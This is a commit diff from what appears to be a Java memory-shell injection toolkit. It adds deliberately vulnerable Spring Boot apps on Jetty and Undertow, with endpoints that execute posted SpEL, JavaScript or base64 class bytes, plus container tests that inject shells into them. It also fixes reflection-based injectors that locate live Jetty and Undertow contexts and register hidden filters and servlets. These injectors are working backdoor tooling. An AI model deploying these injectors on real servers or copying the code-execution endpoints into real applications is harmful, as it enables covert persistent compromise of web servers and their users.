fix: SpringBoot Undertow and Jetty Shell inject failed

This commit is contained in:
ReaJason
2025-04-23 00:10:48 +08:00
parent d8079e5d0f
commit aee8dbe8e0
31 changed files with 633 additions and 52 deletions
+4 -1
View File
@@ -51,12 +51,15 @@ idea {
} }
test { test {
dependsOn(":vul:vul-webapp:war", dependsOn(
":vul:vul-webapp:war",
":vul:vul-webapp-expression:war", ":vul:vul-webapp-expression:war",
":vul:vul-webapp-deserialize:war", ":vul:vul-webapp-deserialize:war",
":vul:vul-webapp-jakarta:war", ":vul:vul-webapp-jakarta:war",
":vul:vul-springboot1:bootJar", ":vul:vul-springboot1:bootJar",
":vul:vul-springboot2:bootJar", ":vul:vul-springboot2:bootJar",
":vul:vul-springboot2-jetty:bootJar",
":vul:vul-springboot2-undertow:bootJar",
":vul:vul-springboot2:bootWar", ":vul:vul-springboot2:bootWar",
":vul:vul-springboot2-webflux:bootJar", ":vul:vul-springboot2-webflux:bootJar",
":vul:vul-springboot3:bootJar", ":vul:vul-springboot3:bootJar",
@@ -20,6 +20,8 @@ public class ContainerTool {
public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath(); public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath();
public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath(); public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath();
public static final Path springBoot2Dockerfile = Path.of("..", "vul", "vul-springboot2", "Dockerfile").toAbsolutePath(); public static final Path springBoot2Dockerfile = Path.of("..", "vul", "vul-springboot2", "Dockerfile").toAbsolutePath();
public static final Path springBoot2JettyDockerfile = Path.of("..", "vul", "vul-springboot2-jetty", "Dockerfile").toAbsolutePath();
public static final Path springBoot2UndertowDockerfile = Path.of("..", "vul", "vul-springboot2-undertow", "Dockerfile").toAbsolutePath();
public static final Path springBoot2WebfluxDockerfile = Path.of("..", "vul", "vul-springboot2-webflux", "Dockerfile").toAbsolutePath(); public static final Path springBoot2WebfluxDockerfile = Path.of("..", "vul", "vul-springboot2-webflux", "Dockerfile").toAbsolutePath();
public static final Path springBoot3Dockerfile = Path.of("..", "vul", "vul-springboot3", "Dockerfile").toAbsolutePath(); public static final Path springBoot3Dockerfile = Path.of("..", "vul", "vul-springboot3", "Dockerfile").toAbsolutePath();
public static final Path springBoot3WebfluxDockerfile = Path.of("..", "vul", "vul-springboot3-webflux", "Dockerfile").toAbsolutePath(); public static final Path springBoot3WebfluxDockerfile = Path.of("..", "vul", "vul-springboot3-webflux", "Dockerfile").toAbsolutePath();
@@ -306,7 +306,7 @@ public class ShellAssertionTool {
} }
case ScriptEngine -> VulTool.postData(url + "/js", content); case ScriptEngine -> VulTool.postData(url + "/js", content);
case EL -> VulTool.postData(url + "/el", content); case EL -> VulTool.postData(url + "/el", content);
case SpEL -> VulTool.postData(url + "/spel", content); case SpEL, SpELSpringIOUtils -> VulTool.postData(url + "/spel", content);
case OGNL -> VulTool.postData(url + "/ognl", content); case OGNL -> VulTool.postData(url + "/ognl", content);
case MVEL -> VulTool.postData(url + "/mvel", content); case MVEL -> VulTool.postData(url + "/mvel", content);
case JXPath -> VulTool.postData(url + "/jxpath", content); case JXPath -> VulTool.postData(url + "/jxpath", content);
@@ -0,0 +1,105 @@
package com.reajason.javaweb.integration.springmvc;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/22
*/
@Testcontainers
@Slf4j
public class SpringBoot2JettyContainerTest {
public static final String imageName = "springboot2-jetty";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(springBoot2JettyDockerfile))
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/test"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
Server server = Server.SpringWebMvc;
List<String> supportedShellTypes = List.of(
ShellType.SPRING_WEBMVC_INTERCEPTOR,
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
}
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
static Stream<Arguments> jettyCasesProvider() {
Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(
ShellType.SERVLET,
ShellType.FILTER,
// ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER,
ShellType.JETTY_AGENT_HANDLER_ASM
);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("jettyCasesProvider")
void testJetty(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_8, packer, container, python);
}
}
@@ -0,0 +1,105 @@
package com.reajason.javaweb.integration.springmvc;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/22
*/
@Testcontainers
@Slf4j
public class SpringBoot2UndertowContainerTest {
public static final String imageName = "springboot2-undertow";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(springBoot2UndertowDockerfile))
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/test"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
Server server = Server.SpringWebMvc;
List<String> supportedShellTypes = List.of(
ShellType.SPRING_WEBMVC_INTERCEPTOR,
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
}
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
static Stream<Arguments> jettyCasesProvider() {
Server server = Server.Undertow;
List<String> supportedShellTypes = List.of(
ShellType.SERVLET,
ShellType.FILTER,
// ShellType.LISTENER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("jettyCasesProvider")
void testJetty(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_8, packer, container, python);
}
}
@@ -44,6 +44,8 @@ public class SpringBoot2WarContainerTest {
.withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war") .withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war")
.withNetwork(network) .withNetwork(network)
.withNetworkAliases("app") .withNetworkAliases("app")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
@@ -52,6 +54,8 @@ public class SpringBoot2WarContainerTest {
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_INTERCEPTOR,
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER
// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, // TODO: 这个地方会报奇怪的错误,需要排查
// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
); );
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -68,4 +72,25 @@ public class SpringBoot2WarContainerTest {
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python); testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
} }
static Stream<Arguments> tomcatCasesProvider() {
Server server = Server.Tomcat;
List<String> supportedShellTypes = List.of(
ShellType.FILTER,
// ShellType.LISTENER,
ShellType.VALVE,
ShellType.WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM,
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("tomcatCasesProvider")
void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python);
}
} }
@@ -80,4 +80,26 @@ public class SpringBoot3ContainerTest {
log.info("container started, app url is : {}", url); log.info("container started, app url is : {}", url);
return url; return url;
} }
static Stream<Arguments> tomcatCasesProvider() {
Server server = Server.Tomcat;
List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM,
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
);
List<Packers> testPackers = List.of(Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("tomcatCasesProvider")
void testTomcat(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python);
}
} }
@@ -106,29 +106,26 @@ public class JettyFilterInjector {
} }
} }
private List<Object> getContext() { private List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]); Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
// jetty 6
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader"); Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) { if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
Object context = getFieldValue(contextClassLoader, "_context"); contexts.add(getFieldValue(contextClassLoader, "_context"));
Object handler = getFieldValue(context, "_servletHandler");
contexts.add(getFieldValue(handler, "_contextHandler"));
} else { } else {
Object threadLocals = getFieldValue(thread, "threadLocals"); // jetty 7+
Object table = getFieldValue(threadLocals, "table"); Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
for (int i = 0; i < Array.getLength(table); ++i) { for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i); Object entry = Array.get(table, i);
if (entry != null) { if (entry != null) {
Object httpConnection = getFieldValue(entry, "value"); Object threadLocalValue = getFieldValue(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { if (threadLocalValue != null) {
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel"); if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
Object request = invokeMethod(httpChannel, "getRequest"); contexts.add(getFieldValue(threadLocalValue, "this$0"));
Object session = invokeMethod(request, "getSession"); }
Object servletContext = invokeMethod(session, "getServletContext");
contexts.add(getFieldValue(servletContext, "this$0"));
} }
} }
} }
@@ -43,29 +43,26 @@ public class JettyListenerInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
private List<Object> getContext() { private List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]); Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
// jetty 6
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader"); Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) { if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
Object context = getFieldValue(contextClassLoader, "_context"); contexts.add(getFieldValue(contextClassLoader, "_context"));
Object handler = getFieldValue(context, "_servletHandler");
contexts.add(getFieldValue(handler, "_contextHandler"));
} else { } else {
Object threadLocals = getFieldValue(thread, "threadLocals"); // jetty 7+
Object table = getFieldValue(threadLocals, "table"); Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
for (int i = 0; i < Array.getLength(table); ++i) { for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i); Object entry = Array.get(table, i);
if (entry != null) { if (entry != null) {
Object httpConnection = getFieldValue(entry, "value"); Object threadLocalValue = getFieldValue(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { if (threadLocalValue != null) {
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel"); if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
Object request = invokeMethod(httpChannel, "getRequest"); contexts.add(getFieldValue(threadLocalValue, "this$0"));
Object session = invokeMethod(request, "getSession"); }
Object servletContext = invokeMethod(session, "getServletContext");
contexts.add(getFieldValue(servletContext, "this$0"));
} }
} }
} }
@@ -51,29 +51,26 @@ public class JettyServletInjector {
} }
} }
private List<Object> getContext() { private List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]); Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
// jetty 6
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader"); Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) { if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
Object context = getFieldValue(contextClassLoader, "_context"); contexts.add(getFieldValue(contextClassLoader, "_context"));
Object handler = getFieldValue(context, "_servletHandler");
contexts.add(getFieldValue(handler, "_contextHandler"));
} else { } else {
Object threadLocals = getFieldValue(thread, "threadLocals"); // jetty 7+
Object table = getFieldValue(threadLocals, "table"); Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
for (int i = 0; i < Array.getLength(table); ++i) { for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i); Object entry = Array.get(table, i);
if (entry != null) { if (entry != null) {
Object httpConnection = getFieldValue(entry, "value"); Object threadLocalValue = getFieldValue(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) { if (threadLocalValue != null) {
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel"); if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
Object request = invokeMethod(httpChannel, "getRequest"); contexts.add(getFieldValue(threadLocalValue, "this$0"));
Object session = invokeMethod(request, "getSession"); }
Object servletContext = invokeMethod(session, "getServletContext");
contexts.add(getFieldValue(servletContext, "this$0"));
} }
} }
} }
@@ -5,7 +5,6 @@ import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.HashMap; import java.util.HashMap;
@@ -47,12 +46,13 @@ public class UndertowFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { public List<Object> getContext() {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current", null, null); Class<?> clazz = thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext");
Object requestContext = invokeMethod(clazz, "current", null, null);
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext", null, null); Object servletContext = invokeMethod(requestContext, "getCurrentServletContext", null, null);
if (servletContext != null) { if (servletContext != null) {
contexts.add(servletContext); contexts.add(servletContext);
@@ -84,7 +84,7 @@ public class UndertowFilterInjector {
if (isInjected(context)) { if (isInjected(context)) {
return; return;
} }
Class<?> filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo"); Class<?> filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo", true, context.getClass().getClassLoader());
Object deploymentInfo = getFieldValue(context, "deploymentInfo"); Object deploymentInfo = getFieldValue(context, "deploymentInfo");
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass()); Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass());
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
@@ -85,7 +85,7 @@ public class UndertowServletInjector {
return; return;
} }
Class<?> servletInfoClass = Class.forName("io.undertow.servlet.api.ServletInfo"); Class<?> servletInfoClass = Class.forName("io.undertow.servlet.api.ServletInfo", true, context.getClass().getClassLoader());
Object deploymentInfo = getFieldValue(context, "deploymentInfo"); Object deploymentInfo = getFieldValue(context, "deploymentInfo");
Object servletInfo = servletInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), servlet.getClass()); Object servletInfo = servletInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), servlet.getClass());
invokeMethod(servletInfo, "addMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(servletInfo, "addMapping", new Class[]{String.class}, new Object[]{getUrlPattern()});
+2
View File
@@ -28,6 +28,8 @@ include 'vul:vul-webapp-expression'
include 'vul:vul-webapp-deserialize' include 'vul:vul-webapp-deserialize'
include 'vul:vul-springboot1' include 'vul:vul-springboot1'
include 'vul:vul-springboot2' include 'vul:vul-springboot2'
include 'vul:vul-springboot2-jetty'
include 'vul:vul-springboot2-undertow'
include 'vul:vul-springboot3' include 'vul:vul-springboot3'
include 'vul:vul-springboot2-webflux' include 'vul:vul-springboot2-webflux'
include 'vul:vul-springboot3-webflux' include 'vul:vul-springboot3-webflux'
+8
View File
@@ -0,0 +1,8 @@
FROM openjdk:8
WORKDIR /app
COPY build/libs/*.jar /app/app.jar
EXPOSE 8080
ENTRYPOINT java $JAVA_OPTS -jar app.jar
+28
View File
@@ -0,0 +1,28 @@
plugins {
id 'org.springframework.boot' version '2.7.6'
id 'io.spring.dependency-management' version '1.0.15.RELEASE'
id 'java'
id 'war'
}
java {
sourceCompatibility = JavaVersion.VERSION_1_8
}
repositories {
mavenCentral()
}
dependencies {
implementation('org.springframework.boot:spring-boot-starter-web') {
exclude module: "spring-boot-starter-tomcat"
}
implementation 'commons-io:commons-io:2.+'
implementation 'net.bytebuddy:byte-buddy:1.10.10'
implementation 'org.springframework.boot:spring-boot-starter-jetty'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
}
test {
useJUnitPlatform()
}
@@ -0,0 +1,13 @@
package com.reajason.javaweb.vul.springboot2;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;
public class ServletInitializer extends SpringBootServletInitializer {
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {
return application.sources(VulSpringboot2Application.class);
}
}
@@ -0,0 +1,17 @@
package com.reajason.javaweb.vul.springboot2;
import com.fasterxml.jackson.annotation.JsonAutoDetect;
import com.fasterxml.jackson.annotation.PropertyAccessor;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
@SpringBootApplication
public class VulSpringboot2Application {
public static void main(String[] args) {
SpringApplication.run(VulSpringboot2Application.class, args);
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.vul.springboot2.controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.Base64;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
@RequestMapping("/b64")
public class Base64ClassLoaderController extends ClassLoader {
@PostMapping
public String base64ClassLoader(String data) throws Exception {
byte[] bytes = Base64.getDecoder().decode(data);
Object o = defineClass(null, bytes, 0, bytes.length).newInstance();
return o.toString();
}
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.vul.springboot2.controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
public class IndexController {
@RequestMapping("/test")
public String test() {
return "";
}
@GetMapping("/")
public String index() {
return "hello";
}
}
@@ -0,0 +1,23 @@
package com.reajason.javaweb.vul.springboot2.controller;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
@RequestMapping("/js")
public class ScriptEngineController {
@PostMapping
public ResponseEntity<?> js(String data) throws ScriptException {
return ResponseEntity.ok().body(String.valueOf(new ScriptEngineManager().getEngineByName("js").eval(data)));
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.vul.springboot2.controller;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
@RequestMapping("/spel")
public class SpELController {
@PostMapping
public ResponseEntity<?> spel(String data) {
return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
}
}
+8
View File
@@ -0,0 +1,8 @@
FROM openjdk:8
WORKDIR /app
COPY build/libs/*.jar /app/app.jar
EXPOSE 8080
ENTRYPOINT java $JAVA_OPTS -jar app.jar
+28
View File
@@ -0,0 +1,28 @@
plugins {
id 'org.springframework.boot' version '2.7.6'
id 'io.spring.dependency-management' version '1.0.15.RELEASE'
id 'java'
id 'war'
}
java {
sourceCompatibility = JavaVersion.VERSION_1_8
}
repositories {
mavenCentral()
}
dependencies {
implementation('org.springframework.boot:spring-boot-starter-web') {
exclude module: "spring-boot-starter-tomcat"
}
implementation 'commons-io:commons-io:2.+'
implementation 'net.bytebuddy:byte-buddy:1.10.10'
implementation 'org.springframework.boot:spring-boot-starter-undertow'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
}
test {
useJUnitPlatform()
}
@@ -0,0 +1,13 @@
package com.reajason.javaweb.vul.springboot2;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;
public class ServletInitializer extends SpringBootServletInitializer {
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {
return application.sources(VulSpringboot2Application.class);
}
}
@@ -0,0 +1,17 @@
package com.reajason.javaweb.vul.springboot2;
import com.fasterxml.jackson.annotation.JsonAutoDetect;
import com.fasterxml.jackson.annotation.PropertyAccessor;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
@SpringBootApplication
public class VulSpringboot2Application {
public static void main(String[] args) {
SpringApplication.run(VulSpringboot2Application.class, args);
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.vul.springboot2.controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.Base64;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
@RequestMapping("/b64")
public class Base64ClassLoaderController extends ClassLoader {
@PostMapping
public String base64ClassLoader(String data) throws Exception {
